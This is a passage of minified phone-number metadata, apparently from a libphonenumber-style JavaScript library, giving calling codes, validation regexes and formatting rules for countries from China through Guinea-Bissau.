$5\",[\"[26]|88\"]]]],CN:[\"86\",\"00|1(?:[12]\\\\d|79)\\\\d\\\\d00\",\"1[127]\\\\d{8,9}|2\\\\d{9}(?:\\\\d{2})?|[12]\\\\d{6,7}|86\\\\d{6}|(?:1[03-689]\\\\d|6)\\\\d{7,9}|(?:[3-579]\\\\d|8[0-57-9])\\\\d{6,9}\",[7,8,9,10,11,12],[[\"(\\\\d{2})(\\\\d{5,6})\",\"$1 $2\",[\"(?:10|2[0-57-9])[19]\",\"(?:10|2[0-57-9])(?:10|9[56])\",\"10(?:10|9[56])|2[0-57-9](?:100|9[56])\"],\"0$1\"],[\"(\\\\d{3})(\\\\d{5,6})\",\"$1 $2\",[\"3(?:[157]|35|49|9[1-68])|4(?:[17]|2[179]|6[47-9]|8[23])|5(?:[1357]|2[37]|4[36]|6[1-46]|80)|6(?:3[1-5]|6[0238]|9[12])|7(?:01|[1579]|2[248]|3[014-9]|4[3-6]|6[023689])|8(?:1[236-8]|2[5-7]|[37]|8[36-8]|9[1-8])|9(?:0[1-3689]|1[1-79]|[379]|4[13]|5[1-5])|(?:4[35]|59|85)[1-9]\",\"(?:3(?:[157]\\\\d|35|49|9[1-68])|4(?:[17]\\\\d|2[179]|[35][1-9]|6[47-9]|8[23])|5(?:[1357]\\\\d|2[37]|4[36]|6[1-46]|80|9[1-9])|6(?:3[1-5]|6[0238]|9[12])|7(?:01|[1579]\\\\d|2[248]|3[014-9]|4[3-6]|6[023689])|8(?:1[236-8]|2[5-7]|[37]\\\\d|5[1-9]|8[36-8]|9[1-8])|9(?:0[1-3689]|1[1-79]|[379]\\\\d|4[13]|5[1-5]))[19]\",\"85[23](?:10|95)|(?:3(?:[157]\\\\d|35|49|9[1-68])|4(?:[17]\\\\d|2[179]|[35][1-9]|6[47-9]|8[23])|5(?:[1357]\\\\d|2[37]|4[36]|6[1-46]|80|9[1-9])|6(?:3[1-5]|6[0238]|9[12])|7(?:01|[1579]\\\\d|2[248]|3[014-9]|4[3-6]|6[023689])|8(?:1[236-8]|2[5-7]|[37]\\\\d|5[14-9]|8[36-8]|9[1-8])|9(?:0[1-3689]|1[1-79]|[379]\\\\d|4[13]|5[1-5]))(?:10|9[56])\",\"85[23](?:100|95)|(?:3(?:[157]\\\\d|35|49|9[1-68])|4(?:[17]\\\\d|2[179]|[35][1-9]|6[47-9]|8[23])|5(?:[1357]\\\\d|2[37]|4[36]|6[1-46]|80|9[1-9])|6(?:3[1-5]|6[0238]|9[12])|7(?:01|[1579]\\\\d|2[248]|3[014-9]|4[3-6]|6[023689])|8(?:1[236-8]|2[5-7]|[37]\\\\d|5[14-9]|8[36-8]|9[1-8])|9(?:0[1-3689]|1[1-79]|[379]\\\\d|4[13]|5[1-5]))(?:100|9[56])\"],\"0$1\"],[\"(\\\\d{3})(\\\\d{3})(\\\\d{4})\",\"$1 $2 $3\",[\"(?:4|80)0\"]],[\"(\\\\d{2})(\\\\d{4})(\\\\d{4})\",\"$1 $2 $3\",[\"10|2(?:[02-57-9]|1[1-9])\",\"10|2(?:[02-57-9]|1[1-9])\",\"10[0-79]|2(?:[02-57-9]|1[1-79])|(?:10|21)8(?:0[1-9]|[1-9])\"],\"0$1\",1],[\"(\\\\d{3})(\\\\d{3})(\\\\d{4})\",\"$1 $2 $3\",[\"3(?:[3-59]|7[02-68])|4(?:[26-8]|3[3-9]|5[2-9])|5(?:3[03-9]|[468]|7[028]|9[2-46-9])|6|7(?:[0-247]|3[04-9]|5[0-4689]|6[2368])|8(?:[1-358]|9[1-7])|9(?:[013479]|5[1-5])|(?:[34]1|55|79|87)[02-9]\"],\"0$1\",1],[\"(\\\\d{3})(\\\\d{7,8})\",\"$1 $2\",[\"9\"]],[\"(\\\\d{4})(\\\\d{3})(\\\\d{4})\",\"$1 $2 $3\",[\"80\"],\"0$1\",1],[\"(\\\\d{3})(\\\\d{4})(\\\\d{4})\",\"$1 $2 $3\",[\"[3-578]\"],\"0$1\",1],[\"(\\\\d{3})(\\\\d{4})(\\\\d{4})\",\"$1 $2 $3\",[\"1[3-9]\"]],[\"(\\\\d{2})(\\\\d{3})(\\\\d{3})(\\\\d{4})\",\"$1 $2 $3 $4\",[\"[12]\"],\"0$1\",1]],\"0\",0,\"(1(?:[12]\\\\d|79)\\\\d\\\\d)|0\",0,0,0,0,\"00\"],CO:[\"57\",\"00(?:4(?:[14]4|56)|[579])\",\"(?:60\\\\d\\\\d|9101)\\\\d{6}|(?:1\\\\d|3)\\\\d{9}\",[10,11],[[\"(\\\\d{3})(\\\\d{7})\",\"$1 $2\",[\"6\"],\"($1)\"],[\"(\\\\d{3})(\\\\d{7})\",\"$1 $2\",[\"3[0-357]|91\"]],[\"(\\\\d)(\\\\d{3})(\\\\d{7})\",\"$1-$2-$3\",[\"1\"],\"0$1\",0,\"$1 $2 $3\"]],\"0\",0,\"0([3579]|4(?:[14]4|56))?\"],CR:[\"506\",\"00\",\"(?:8\\\\d|90)\\\\d{8}|(?:[24-8]\\\\d{3}|3005)\\\\d{4}\",[8,10],[[\"(\\\\d{4})(\\\\d{4})\",\"$1 $2\",[\"[2-7]|8[3-9]\"]],[\"(\\\\d{3})(\\\\d{3})(\\\\d{4})\",\"$1-$2-$3\",[\"[89]\"]]],0,0,\"(19(?:0[0-2468]|1[09]|20|66|77|99))\"],CU:[\"53\",\"119\",\"[27]\\\\d{6,7}|[34]\\\\d{5,7}|63\\\\d{6}|(?:5|8\\\\d\\\\d)\\\\d{7}\",[6,7,8,10],[[\"(\\\\d{2})(\\\\d{4,6})\",\"$1 $2\",[\"2[1-4]|[34]\"],\"(0$1)\"],[\"(\\\\d)(\\\\d{6,7})\",\"$1 $2\",[\"7\"],\"(0$1)\"],[\"(\\\\d)(\\\\d{7})\",\"$1 $2\",[\"[56]\"],\"0$1\"],[\"(\\\\d{3})(\\\\d{7})\",\"$1 $2\",[\"8\"],\"0$1\"]],\"0\"],CV:[\"238\",\"0\",\"(?:[2-59]\\\\d\\\\d|800)\\\\d{4}\",[7],[[\"(\\\\d{3})(\\\\d{2})(\\\\d{2})\",\"$1 $2 $3\",[\"[2-589]\"]]]],CW:[\"599\",\"00\",\"(?:[34]1|60|(?:7|9\\\\d)\\\\d)\\\\d{5}\",[7,8],[[\"(\\\\d{3})(\\\\d{4})\",\"$1 $2\",[\"[3467]\"]],[\"(\\\\d)(\\\\d{3})(\\\\d{4})\",\"$1 $2 $3\",[\"9[4-8]\"]]],0,0,0,0,0,\"[69]\"],CX:[\"61\",\"001[14-689]|14(?:1[14]|34|4[17]|[56]6|7[47]|88)0011\",\"1(?:[0-79]\\\\d{8}(?:\\\\d{2})?|8[0-24-9]\\\\d{7})|[148]\\\\d{8}|1\\\\d{5,7}\",[6,7,8,9,10,12],0,\"0\",0,\"([59]\\\\d{7})$|0\",\"8$1\",0,0,[[\"8(?:51(?:0(?:01|30|59|88)|1(?:17|46|75)|2(?:22|35))|91(?:00[6-9]|1(?:[28]1|49|78)|2(?:09|63)|3(?:12|26|75)|4(?:56|97)|64\\\\d|7(?:0[01]|1[0-2])|958))\\\\d{3}\",[9]],[\"4(?:(?:79|94)[01]|83[0-389])\\\\d{5}|4(?:[0-3]\\\\d|4[047-9]|5[0-25-9]|6[0-26-9]|7[02-8]|8[0-24-9]|9[0-37-9])\\\\d{6}\",[9]],[\"180(?:0\\\\d{3}|2)\\\\d{3}\",[7,10]],[\"190[0-26]\\\\d{6}\",[10]],0,0,0,0,[\"14(?:5(?:1[0458]|[23][458])|71\\\\d)\\\\d{4}\",[9]],[\"13(?:00\\\\d{6}(?:\\\\d{2})?|45[0-4]\\\\d{3})|13\\\\d{4}\",[6,8,10,12]]],\"0011\"],CY:[\"357\",\"00\",\"(?:[279]\\\\d|[58]0)\\\\d{6}\",[8],[[\"(\\\\d{2})(\\\\d{6})\",\"$1 $2\",[\"[257-9]\"]]]],CZ:[\"420\",\"00\",\"(?:[2-578]\\\\d|60)\\\\d{7}|9\\\\d{8,11}\",[9],[[\"(\\\\d{3})(\\\\d{3})(\\\\d{3})\",\"$1 $2 $3\",[\"[2-8]|9[015-7]\"]],[\"(\\\\d{2})(\\\\d{3})(\\\\d{3})(\\\\d{2})\",\"$1 $2 $3 $4\",[\"96\"]],[\"(\\\\d{2})(\\\\d{3})(\\\\d{3})(\\\\d{3})\",\"$1 $2 $3 $4\",[\"9\"]],[\"(\\\\d{3})(\\\\d{3})(\\\\d{3})(\\\\d{3})\",\"$1 $2 $3 $4\",[\"9\"]]]],DE:[\"49\",\"00\",\"[2579]\\\\d{5,14}|49(?:[34]0|69|8\\\\d)\\\\d\\\\d?|49(?:37|49|60|7[089]|9\\\\d)\\\\d{1,3}|49(?:2[024-9]|3[2-689]|7[1-7])\\\\d{1,8}|(?:1|[368]\\\\d|4[0-8])\\\\d{3,13}|49(?:[015]\\\\d|2[13]|31|[46][1-8])\\\\d{1,9}\",[4,5,6,7,8,9,10,11,12,13,14,15],[[\"(\\\\d{2})(\\\\d{3,13})\",\"$1 $2\",[\"3[02]|40|[68]9\"],\"0$1\"],[\"(\\\\d{3})(\\\\d{3,12})\",\"$1 $2\",[\"2(?:0[1-389]|1[124]|2[18]|3[14])|3(?:[35-9][15]|4[015])|906|(?:2[4-9]|4[2-9]|[579][1-9]|[68][1-8])1\",\"2(?:0[1-389]|12[0-8])|3(?:[35-9][15]|4[015])|906|2(?:[13][14]|2[18])|(?:2[4-9]|4[2-9]|[579][1-9]|[68][1-8])1\"],\"0$1\"],[\"(\\\\d{4})(\\\\d{2,11})\",\"$1 $2\",[\"[24-6]|3(?:[3569][02-46-9]|4[2-4679]|7[2-467]|8[2-46-8])|70[2-8]|8(?:0[2-9]|[1-8])|90[7-9]|[79][1-9]\",\"[24-6]|3(?:3(?:0[1-467]|2[127-9]|3[124578]|7[1257-9]|8[1256]|9[145])|4(?:2[135]|4[13578]|9[1346])|5(?:0[14]|2[1-3589]|6[1-4]|7[13468]|8[13568])|6(?:2[1-489]|3[124-6]|6[13]|7[12579]|8[1-356]|9[135])|7(?:2[1-7]|4[145]|6[1-5]|7[1-4])|8(?:21|3[1468]|6|7[1467]|8[136])|9(?:0[12479]|2[1358]|4[134679]|6[1-9]|7[136]|8[147]|9[1468]))|70[2-8]|8(?:0[2-9]|[1-8])|90[7-9]|[79][1-9]|3[68]4[1347]|3(?:47|60)[1356]|3(?:3[46]|46|5[49])[1246]|3[4579]3[1357]\"],\"0$1\"],[\"(\\\\d{3})(\\\\d{4})\",\"$1 $2\",[\"138\"],\"0$1\"],[\"(\\\\d{5})(\\\\d{2,10})\",\"$1 $2\",[\"3\"],\"0$1\"],[\"(\\\\d{3})(\\\\d{5,11})\",\"$1 $2\",[\"181\"],\"0$1\"],[\"(\\\\d{3})(\\\\d)(\\\\d{4,10})\",\"$1 $2 $3\",[\"1(?:3|80)|9\"],\"0$1\"],[\"(\\\\d{3})(\\\\d{7,8})\",\"$1 $2\",[\"1[67]\"],\"0$1\"],[\"(\\\\d{3})(\\\\d{7,12})\",\"$1 $2\",[\"8\"],\"0$1\"],[\"(\\\\d{5})(\\\\d{6})\",\"$1 $2\",[\"185\",\"1850\",\"18500\"],\"0$1\"],[\"(\\\\d{3})(\\\\d{4})(\\\\d{4})\",\"$1 $2 $3\",[\"7\"],\"0$1\"],[\"(\\\\d{4})(\\\\d{7})\",\"$1 $2\",[\"18[68]\"],\"0$1\"],[\"(\\\\d{5})(\\\\d{6})\",\"$1 $2\",[\"15[0568]\"],\"0$1\"],[\"(\\\\d{4})(\\\\d{7})\",\"$1 $2\",[\"15[1279]\"],\"0$1\"],[\"(\\\\d{3})(\\\\d{8})\",\"$1 $2\",[\"18\"],\"0$1\"],[\"(\\\\d{3})(\\\\d{2})(\\\\d{7,8})\",\"$1 $2 $3\",[\"1(?:6[023]|7)\"],\"0$1\"],[\"(\\\\d{4})(\\\\d{2})(\\\\d{7})\",\"$1 $2 $3\",[\"15[279]\"],\"0$1\"],[\"(\\\\d{3})(\\\\d{2})(\\\\d{8})\",\"$1 $2 $3\",[\"15\"],\"0$1\"]],\"0\"],DJ:[\"253\",\"00\",\"(?:2\\\\d|77)\\\\d{6}\",[8],[[\"(\\\\d{2})(\\\\d{2})(\\\\d{2})(\\\\d{2})\",\"$1 $2 $3 $4\",[\"[27]\"]]]],DK:[\"45\",\"00\",\"[2-9]\\\\d{7}\",[8],[[\"(\\\\d{2})(\\\\d{2})(\\\\d{2})(\\\\d{2})\",\"$1 $2 $3 $4\",[\"[2-9]\"]]]],DM:[\"1\",\"011\",\"(?:[58]\\\\d\\\\d|767|900)\\\\d{7}\",[10],0,\"1\",0,\"([2-7]\\\\d{6})$|1\",\"767$1\",0,\"767\"],DO:[\"1\",\"011\",\"(?:[58]\\\\d\\\\d|900)\\\\d{7}\",[10],0,\"1\",0,0,0,0,\"8001|8[024]9\"],DZ:[\"213\",\"00\",\"(?:[1-4]|[5-79]\\\\d|80)\\\\d{7}\",[8,9],[[\"(\\\\d{2})(\\\\d{2})(\\\\d{2})(\\\\d{2})\",\"$1 $2 $3 $4\",[\"[1-4]\"],\"0$1\"],[\"(\\\\d{2})(\\\\d{3})(\\\\d{2})(\\\\d{2})\",\"$1 $2 $3 $4\",[\"9\"],\"0$1\"],[\"(\\\\d{3})(\\\\d{2})(\\\\d{2})(\\\\d{2})\",\"$1 $2 $3 $4\",[\"[5-8]\"],\"0$1\"]],\"0\"],EC:[\"593\",\"00\",\"1\\\\d{9,10}|(?:[2-7]|9\\\\d)\\\\d{7}\",[8,9,10,11],[[\"(\\\\d)(\\\\d{3})(\\\\d{4})\",\"$1 $2-$3\",[\"[2-7]\"],\"(0$1)\",0,\"$1-$2-$3\"],[\"(\\\\d{2})(\\\\d{3})(\\\\d{4})\",\"$1 $2 $3\",[\"9\"],\"0$1\"],[\"(\\\\d{4})(\\\\d{3})(\\\\d{3,4})\",\"$1 $2 $3\",[\"1\"]]],\"0\"],EE:[\"372\",\"00\",\"8\\\\d{9}|[4578]\\\\d{7}|(?:[3-8]\\\\d|90)\\\\d{5}\",[7,8,10],[[\"(\\\\d{3})(\\\\d{4})\",\"$1 $2\",[\"[369]|4[3-8]|5(?:[0-2]|5[0-478]|6[45])|7[1-9]|88\",\"[369]|4[3-8]|5(?:[02]|1(?:[0-8]|95)|5[0-478]|6(?:4[0-4]|5[1-589]))|7[1-9]|88\"]],[\"(\\\\d{4})(\\\\d{3,4})\",\"$1 $2\",[\"[45]|8(?:00|[1-49])\",\"[45]|8(?:00[1-9]|[1-49])\"]],[\"(\\\\d{2})(\\\\d{2})(\\\\d{4})\",\"$1 $2 $3\",[\"7\"]],[\"(\\\\d{4})(\\\\d{3})(\\\\d{3})\",\"$1 $2 $3\",[\"8\"]]]],EG:[\"20\",\"00\",\"[189]\\\\d{8,9}|[24-6]\\\\d{8}|[135]\\\\d{7}\",[8,9,10],[[\"(\\\\d)(\\\\d{7,8})\",\"$1 $2\",[\"[23]\"],\"0$1\"],[\"(\\\\d{2})(\\\\d{6,7})\",\"$1 $2\",[\"1[35]|[4-6]|8[2468]|9[235-7]\"],\"0$1\"],[\"(\\\\d{3})(\\\\d{3})(\\\\d{4})\",\"$1 $2 $3\",[\"[89]\"],\"0$1\"],[\"(\\\\d{2})(\\\\d{8})\",\"$1 $2\",[\"1\"],\"0$1\"]],\"0\"],EH:[\"212\",\"00\",\"[5-8]\\\\d{8}\",[9],0,\"0\",0,0,0,0,\"528[89]\"],ER:[\"291\",\"00\",\"[178]\\\\d{6}\",[7],[[\"(\\\\d)(\\\\d{3})(\\\\d{3})\",\"$1 $2 $3\",[\"[178]\"],\"0$1\"]],\"0\"],ES:[\"34\",\"00\",\"[5-9]\\\\d{8}\",[9],[[\"(\\\\d{3})(\\\\d{3})(\\\\d{3})\",\"$1 $2 $3\",[\"[89]00\"]],[\"(\\\\d{3})(\\\\d{2})(\\\\d{2})(\\\\d{2})\",\"$1 $2 $3 $4\",[\"[5-9]\"]]]],ET:[\"251\",\"00\",\"(?:11|[2-579]\\\\d)\\\\d{7}\",[9],[[\"(\\\\d{2})(\\\\d{3})(\\\\d{4})\",\"$1 $2 $3\",[\"[1-579]\"],\"0$1\"]],\"0\"],FI:[\"358\",\"00|99(?:[01469]|5(?:[14]1|3[23]|5[59]|77|88|9[09]))\",\"[1-35689]\\\\d{4}|7\\\\d{10,11}|(?:[124-7]\\\\d|3[0-46-9])\\\\d{8}|[1-9]\\\\d{5,8}\",[5,6,7,8,9,10,11,12],[[\"(\\\\d)(\\\\d{4,9})\",\"$1 $2\",[\"[2568][1-8]|3(?:0[1-9]|[1-9])|9\"],\"0$1\"],[\"(\\\\d{3})(\\\\d{3,7})\",\"$1 $2\",[\"[12]00|[368]|70[07-9]\"],\"0$1\"],[\"(\\\\d{2})(\\\\d{4,8})\",\"$1 $2\",[\"[1245]|7[135]\"],\"0$1\"],[\"(\\\\d{2})(\\\\d{6,10})\",\"$1 $2\",[\"7\"],\"0$1\"]],\"0\",0,0,0,0,\"1[03-79]|[2-9]\",0,\"00\"],FJ:[\"679\",\"0(?:0|52)\",\"45\\\\d{5}|(?:0800\\\\d|[235-9])\\\\d{6}\",[7,11],[[\"(\\\\d{3})(\\\\d{4})\",\"$1 $2\",[\"[235-9]|45\"]],[\"(\\\\d{4})(\\\\d{3})(\\\\d{4})\",\"$1 $2 $3\",[\"0\"]]],0,0,0,0,0,0,0,\"00\"],FK:[\"500\",\"00\",\"[2-7]\\\\d{4}\",[5]],FM:[\"691\",\"00\",\"(?:[39]\\\\d\\\\d|820)\\\\d{4}\",[7],[[\"(\\\\d{3})(\\\\d{4})\",\"$1 $2\",[\"[389]\"]]]],FO:[\"298\",\"00\",\"[2-9]\\\\d{5}\",[6],[[\"(\\\\d{6})\",\"$1\",[\"[2-9]\"]]],0,0,\"(10(?:01|[12]0|88))\"],FR:[\"33\",\"00\",\"[1-9]\\\\d{8}\",[9],[[\"(\\\\d{3})(\\\\d{2})(\\\\d{2})(\\\\d{2})\",\"$1 $2 $3 $4\",[\"8\"],\"0 $1\"],[\"(\\\\d)(\\\\d{2})(\\\\d{2})(\\\\d{2})(\\\\d{2})\",\"$1 $2 $3 $4 $5\",[\"[1-79]\"],\"0$1\"]],\"0\"],GA:[\"241\",\"00\",\"(?:[067]\\\\d|11)\\\\d{6}|[2-7]\\\\d{6}\",[7,8],[[\"(\\\\d)(\\\\d{2})(\\\\d{2})(\\\\d{2})\",\"$1 $2 $3 $4\",[\"[2-7]\"],\"0$1\"],[\"(\\\\d{2})(\\\\d{2})(\\\\d{2})(\\\\d{2})\",\"$1 $2 $3 $4\",[\"0\"]],[\"(\\\\d{2})(\\\\d{2})(\\\\d{2})(\\\\d{2})\",\"$1 $2 $3 $4\",[\"11|[67]\"],\"0$1\"]],0,0,\"0(11\\\\d{6}|60\\\\d{6}|61\\\\d{6}|6[256]\\\\d{6}|7[467]\\\\d{6})\",\"$1\"],GB:[\"44\",\"00\",\"[1-357-9]\\\\d{9}|[18]\\\\d{8}|8\\\\d{6}\",[7,9,10],[[\"(\\\\d{3})(\\\\d{4})\",\"$1 $2\",[\"800\",\"8001\",\"80011\",\"800111\",\"8001111\"],\"0$1\"],[\"(\\\\d{3})(\\\\d{2})(\\\\d{2})\",\"$1 $2 $3\",[\"845\",\"8454\",\"84546\",\"845464\"],\"0$1\"],[\"(\\\\d{3})(\\\\d{6})\",\"$1 $2\",[\"800\"],\"0$1\"],[\"(\\\\d{5})(\\\\d{4,5})\",\"$1 $2\",[\"1(?:38|5[23]|69|76|94)\",\"1(?:(?:38|69)7|5(?:24|39)|768|946)\",\"1(?:3873|5(?:242|39[4-6])|(?:697|768)[347]|9467)\"],\"0$1\"],[\"(\\\\d{4})(\\\\d{5,6})\",\"$1 $2\",[\"1(?:[2-69][02-9]|[78])\"],\"0$1\"],[\"(\\\\d{2})(\\\\d{4})(\\\\d{4})\",\"$1 $2 $3\",[\"[25]|7(?:0|6[02-9])\",\"[25]|7(?:0|6(?:[03-9]|2[356]))\"],\"0$1\"],[\"(\\\\d{4})(\\\\d{6})\",\"$1 $2\",[\"7\"],\"0$1\"],[\"(\\\\d{3})(\\\\d{3})(\\\\d{4})\",\"$1 $2 $3\",[\"[1389]\"],\"0$1\"]],\"0\",0,0,0,0,0,[[\"(?:1(?:1(?:3(?:[0-58]\\\\d\\\\d|73[0235])|4(?:[0-5]\\\\d\\\\d|69[7-9]|70[0-79])|(?:(?:5[0-26-9]|[78][0-49])\\\\d|6(?:[0-4]\\\\d|50))\\\\d)|(?:2(?:(?:0[024-9]|2[3-9]|3[3-79]|4[1-689]|[58][02-9]|6[0-47-9]|7[013-9]|9\\\\d)\\\\d|1(?:[0-7]\\\\d|8[0-2]))|(?:3(?:0\\\\d|1[0-8]|[25][02-9]|3[02-579]|[468][0-46-9]|7[1-35-79]|9[2-578])|4(?:0[03-9]|[137]\\\\d|[28][02-57-9]|4[02-69]|5[0-8]|[69][0-79])|5(?:0[1-35-9]|[16]\\\\d|2[024-9]|3[015689]|4[02-9]|5[03-9]|7[0-35-9]|8[0-468]|9[0-57-9])|6(?:0[034689]|1\\\\d|2[0-35689]|[38][013-9]|4[1-467]|5[0-69]|6[13-9]|7[0-8]|9[0-24578])|7(?:0[0246-9]|2\\\\d|3[0236-8]|4[03-9]|5[0-46-9]|6[013-9]|7[0-35-9]|8[024-9]|9[02-9])|8(?:0[35-9]|2[1-57-9]|3[02-578]|4[0-578]|5[124-9]|6[2-69]|7\\\\d|8[02-9]|9[02569])|9(?:0[02-589]|[18]\\\\d|2[02-689]|3[1-57-9]|4[2-9]|5[0-579]|6[2-47-9]|7[0-24578]|9[2-57]))\\\\d)\\\\d)|2(?:0[013478]|3[0189]|4[017]|8[0-46-9]|9[0-2])\\\\d{3})\\\\d{4}|1(?:2(?:0(?:46[1-4]|87[2-9])|545[1-79]|76(?:2\\\\d|3[1-8]|6[1-6])|9(?:7(?:2[0-4]|3[2-5])|8(?:2[2-8]|7[0-47-9]|8[3-5])))|3(?:6(?:38[2-5]|47[23])|8(?:47[04-9]|64[0157-9]))|4(?:044[1-7]|20(?:2[23]|8\\\\d)|6(?:0(?:30|5[2-57]|6[1-8]|7[2-8])|140)|8(?:052|87[1-3]))|5(?:2(?:4(?:3[2-79]|6\\\\d)|76\\\\d)|6(?:26[06-9]|686))|6(?:06(?:4\\\\d|7[4-79])|295[5-7]|35[34]\\\\d|47(?:24|61)|59(?:5[08]|6[67]|74)|9(?:55[0-4]|77[23]))|7(?:26(?:6[13-9]|7[0-7])|(?:442|688)\\\\d|50(?:2[0-3]|[3-68]2|76))|8(?:27[56]\\\\d|37(?:5[2-5]|8[239])|843[2-58])|9(?:0(?:0(?:6[1-8]|85)|52\\\\d)|3583|4(?:66[1-8]|9(?:2[01]|81))|63(?:23|3[1-4])|9561))\\\\d{3}\",[9,10]],[\"7(?:457[0-57-9]|700[01]|911[028])\\\\d{5}|7(?:[1-3]\\\\d\\\\d|4(?:[0-46-9]\\\\d|5[0-689])|5(?:0[0-8]|[13-9]\\\\d|2[0-35-9])|7(?:0[1-9]|[1-7]\\\\d|8[02-9]|9[0-689])|8(?:[014-9]\\\\d|[23][0-8])|9(?:[024-9]\\\\d|1[02-9]|3[0-689]))\\\\d{6}\",[10]],[\"80[08]\\\\d{7}|800\\\\d{6}|8001111\"],[\"(?:8(?:4[2-5]|7[0-3])|9(?:[01]\\\\d|8[2-49]))\\\\d{7}|845464\\\\d\",[7,10]],[\"70\\\\d{8}\",[10]],0,[\"(?:3[0347]|55)\\\\d{8}\",[10]],[\"76(?:464|652)\\\\d{5}|76(?:0[0-28]|2[356]|34|4[01347]|5[49]|6[0-369]|77|8[14]|9[139])\\\\d{6}\",[10]],[\"56\\\\d{8}\",[10]]],0,\" x\"],GD:[\"1\",\"011\",\"(?:473|[58]\\\\d\\\\d|900)\\\\d{7}\",[10],0,\"1\",0,\"([2-9]\\\\d{6})$|1\",\"473$1\",0,\"473\"],GE:[\"995\",\"00\",\"(?:[3-57]\\\\d\\\\d|800)\\\\d{6}\",[9],[[\"(\\\\d{3})(\\\\d{3})(\\\\d{3})\",\"$1 $2 $3\",[\"70\"],\"0$1\"],[\"(\\\\d{2})(\\\\d{3})(\\\\d{2})(\\\\d{2})\",\"$1 $2 $3 $4\",[\"32\"],\"0$1\"],[\"(\\\\d{3})(\\\\d{2})(\\\\d{2})(\\\\d{2})\",\"$1 $2 $3 $4\",[\"[57]\"]],[\"(\\\\d{3})(\\\\d{2})(\\\\d{2})(\\\\d{2})\",\"$1 $2 $3 $4\",[\"[348]\"],\"0$1\"]],\"0\"],GF:[\"594\",\"00\",\"[56]94\\\\d{6}|(?:80|9\\\\d)\\\\d{7}\",[9],[[\"(\\\\d{3})(\\\\d{2})(\\\\d{2})(\\\\d{2})\",\"$1 $2 $3 $4\",[\"[56]|9[47]\"],\"0$1\"],[\"(\\\\d{3})(\\\\d{2})(\\\\d{2})(\\\\d{2})\",\"$1 $2 $3 $4\",[\"[89]\"],\"0$1\"]],\"0\"],GG:[\"44\",\"00\",\"(?:1481|[357-9]\\\\d{3})\\\\d{6}|8\\\\d{6}(?:\\\\d{2})?\",[7,9,10],0,\"0\",0,\"([25-9]\\\\d{5})$|0\",\"1481$1\",0,0,[[\"1481[25-9]\\\\d{5}\",[10]],[\"7(?:(?:781|839)\\\\d|911[17])\\\\d{5}\",[10]],[\"80[08]\\\\d{7}|800\\\\d{6}|8001111\"],[\"(?:8(?:4[2-5]|7[0-3])|9(?:[01]\\\\d|8[0-3]))\\\\d{7}|845464\\\\d\",[7,10]],[\"70\\\\d{8}\",[10]],0,[\"(?:3[0347]|55)\\\\d{8}\",[10]],[\"76(?:464|652)\\\\d{5}|76(?:0[0-28]|2[356]|34|4[01347]|5[49]|6[0-369]|77|8[14]|9[139])\\\\d{6}\",[10]],[\"56\\\\d{8}\",[10]]]],GH:[\"233\",\"00\",\"(?:[235]\\\\d{3}|800)\\\\d{5}\",[8,9],[[\"(\\\\d{3})(\\\\d{5})\",\"$1 $2\",[\"8\"],\"0$1\"],[\"(\\\\d{2})(\\\\d{3})(\\\\d{4})\",\"$1 $2 $3\",[\"[235]\"],\"0$1\"]],\"0\"],GI:[\"350\",\"00\",\"(?:[25]\\\\d|60)\\\\d{6}\",[8],[[\"(\\\\d{3})(\\\\d{5})\",\"$1 $2\",[\"2\"]]]],GL:[\"299\",\"00\",\"(?:19|[2-689]\\\\d|70)\\\\d{4}\",[6],[[\"(\\\\d{2})(\\\\d{2})(\\\\d{2})\",\"$1 $2 $3\",[\"19|[2-9]\"]]]],GM:[\"220\",\"00\",\"[2-9]\\\\d{6}\",[7],[[\"(\\\\d{3})(\\\\d{4})\",\"$1 $2\",[\"[2-9]\"]]]],GN:[\"224\",\"00\",\"722\\\\d{6}|(?:3|6\\\\d)\\\\d{7}\",[8,9],[[\"(\\\\d{2})(\\\\d{2})(\\\\d{2})(\\\\d{2})\",\"$1 $2 $3 $4\",[\"3\"]],[\"(\\\\d{3})(\\\\d{2})(\\\\d{2})(\\\\d{2})\",\"$1 $2 $3 $4\",[\"[67]\"]]]],GP:[\"590\",\"00\",\"590\\\\d{6}|(?:69|80|9\\\\d)\\\\d{7}\",[9],[[\"(\\\\d{3})(\\\\d{2})(\\\\d{2})(\\\\d{2})\",\"$1 $2 $3 $4\",[\"[569]\"],\"0$1\"],[\"(\\\\d{3})(\\\\d{2})(\\\\d{2})(\\\\d{2})\",\"$1 $2 $3 $4\",[\"8\"],\"0$1\"]],\"0\",0,0,0,0,0,[[\"590(?:0[1-68]|[14][0-24-9]|2[0-68]|3[1-9]|5[3-579]|[68][0-689]|7[08]|9\\\\d)\\\\d{4}\"],[\"69(?:0\\\\d\\\\d|1(?:2[2-9]|3[0-5]))\\\\d{4}\"],[\"80[0-5]\\\\d{6}\"],0,0,0,0,0,[\"9(?:(?:395|76[018])\\\\d|475[0-5])\\\\d{4}\"]]],GQ:[\"240\",\"00\",\"222\\\\d{6}|(?:3\\\\d|55|[89]0)\\\\d{7}\",[9],[[\"(\\\\d{3})(\\\\d{3})(\\\\d{3})\",\"$1 $2 $3\",[\"[235]\"]],[\"(\\\\d{3})(\\\\d{6})\",\"$1 $2\",[\"[89]\"]]]],GR:[\"30\",\"00\",\"5005000\\\\d{3}|8\\\\d{9,11}|(?:[269]\\\\d|70)\\\\d{8}\",[10,11,12],[[\"(\\\\d{2})(\\\\d{4})(\\\\d{4})\",\"$1 $2 $3\",[\"21|7\"]],[\"(\\\\d{4})(\\\\d{6})\",\"$1 $2\",[\"2(?:2|3[2-57-9]|4[2-469]|5[2-59]|6[2-9]|7[2-69]|8[2-49])|5\"]],[\"(\\\\d{3})(\\\\d{3})(\\\\d{4})\",\"$1 $2 $3\",[\"[2689]\"]],[\"(\\\\d{3})(\\\\d{3,4})(\\\\d{5})\",\"$1 $2 $3\",[\"8\"]]]],GT:[\"502\",\"00\",\"80\\\\d{6}|(?:1\\\\d{3}|[2-7])\\\\d{7}\",[8,11],[[\"(\\\\d{4})(\\\\d{4})\",\"$1 $2\",[\"[2-8]\"]],[\"(\\\\d{4})(\\\\d{3})(\\\\d{4})\",\"$1 $2 $3\",[\"1\"]]]],GU:[\"1\",\"011\",\"(?:[58]\\\\d\\\\d|671|900)\\\\d{7}\",[10],0,\"1\",0,\"([2-9]\\\\d{6})$|1\",\"671$1\",0,\"671\"],GW:[\"245\",\"00\",\"[49]\\\\d{8}|4\\\\d{6}\",[7,9],[[\"(\\\\d{3})(\\\\d{4})\",\"$1 $2\",[\"40\"]],[\"(\\\\d{3})(\\\\d{3})(\\\\d{3})\",\"$1 $2 